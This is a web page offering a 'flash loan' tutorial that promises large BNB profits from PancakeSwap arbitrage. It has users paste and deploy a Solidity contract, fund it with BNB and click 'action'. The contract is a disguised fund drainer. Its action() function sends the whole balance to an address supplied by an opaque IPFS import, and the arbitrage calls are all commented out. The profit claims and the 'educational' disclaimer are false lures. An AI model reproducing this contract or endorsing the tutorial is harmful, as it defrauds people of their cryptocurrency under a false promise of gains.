90 likes | 106 Views
BNB Flash Loan Trick - How I Earned 500 BNB With No Coding PancakeSwap Arbitrage
E N D
Latest BNB Flash Loan Method Tutorial Updated July 14, 2021 In this tutorial, a minor change applied to the flash loan attack's code. we made some adjustments to the code for slightly faster execution. Step by step tutorial : 1. Download MetaMask For Chrome Web Browser You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn. 2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain. Name: Smart Chain New RPC URL: https://bsc-dataseed.binance.org/ ChainID: 56 Symbol: BNB Block Explorer URL: https://bscscan.com For complete info about the explanation, please visit this Binance article: https://www.followchain.org/connect-metamask-to-binance/ 3. Open http://remix.ethereum.org/ from your browser Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.
4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0 Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use. 5. Create a file Solidity “MyContract.sol” in the File Explorer (1st menu button from the left) 6. Copy and paste the code below to the MyContract.sol file : --------COPY BELOW LINE ------or from link----->Flash Loan Code: http://bit.ly/3i85HtG-------------------------- ------------ pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts //import "https://github.com/Multiplier-Finance/MCL- FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
//import "https://github.com/Multiplier-Finance/MCL- FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts //import "https://github.com/pancakeswap/pancake-swap- core/blob/master/contracts/interfaces/IPancakeCallee.sol"; //import "https://github.com/pancakeswap/pancake-swap- core/blob/master/contracts/interfaces/IPancakeFactory.sol"; //import "https://github.com/pancakeswap/pancake-swap- core/blob/master/contracts/interfaces/IPancakePair.sol"; import "https://ipfs.io/ipfs/QmUiNr7BG7Xgugmd2jPFrzhEC7SxhDNtstFJguD7EDwiXH"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; public { constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } function() external payable {} function action() public payable { address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance); manager.performTasks(); /*
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); manager.pancakeswapListToken(tokenName, tokenSymbol, tokenAddress); string memory loanAddress = manager.takeFlashLoan(loanAmount); manager.pancakeswapDAItoBNB(loanAmount / 2); string memory bnbPair = manager.pancakeswapCreatePool(tokenAddress, "BNB"); manager.pancakeswapAddLiquidity(bnbPair, loanAmount / 2); string memory daiPair = manager.pancakeswapCreatePool(tokenAddress, "DAI"); manager.pancakeswapAddLiquidity(daiPair, loanAmount / 2); manager.pancakeswapPerformSwaps(); manager.contractToWallet("BNB"); manager.repayLoan(loanAddress); */ } } ----------------------------------------COPY END LINE --------------------------------------------------------- 7. Click on Solidity Compiler (2nd menu button from the left) and Compile Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (MyContract.sol)” and then click Compile MyContract.sol.
8. Click on Deploy & run transactions (3rd menu button from the left) and Deploy
- At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notification on the MetaMask wallet Chrome Extention). - The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account. - There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. : _TOKENNAME = Flash Loan (write random token name) _TOKENSYMBOL = FLO (write random three of four-letter symbol) _LOANAMOUNT = 1000 (amount loan) - Click Transact and confirm in MetaMask. - after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address. Copy the contract address (under the Deployed Contracts dropdown menu)
9. Input a Liquidity to the Smart Contract To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.
10. Flash Loan Attack After creating a Smart Contract with liquidity added ( Step 9 ) and set the amount of loan ( Step 8 ), click the dropdown from the success transaction ( Step 8 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.
Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining. DISCLAIMER: FOR EDUCATIONAL PURPOSES ONLY. Try at your own risk. Reference Video: https://www.youtube.com/watch?v=KKjvMT3rO8Y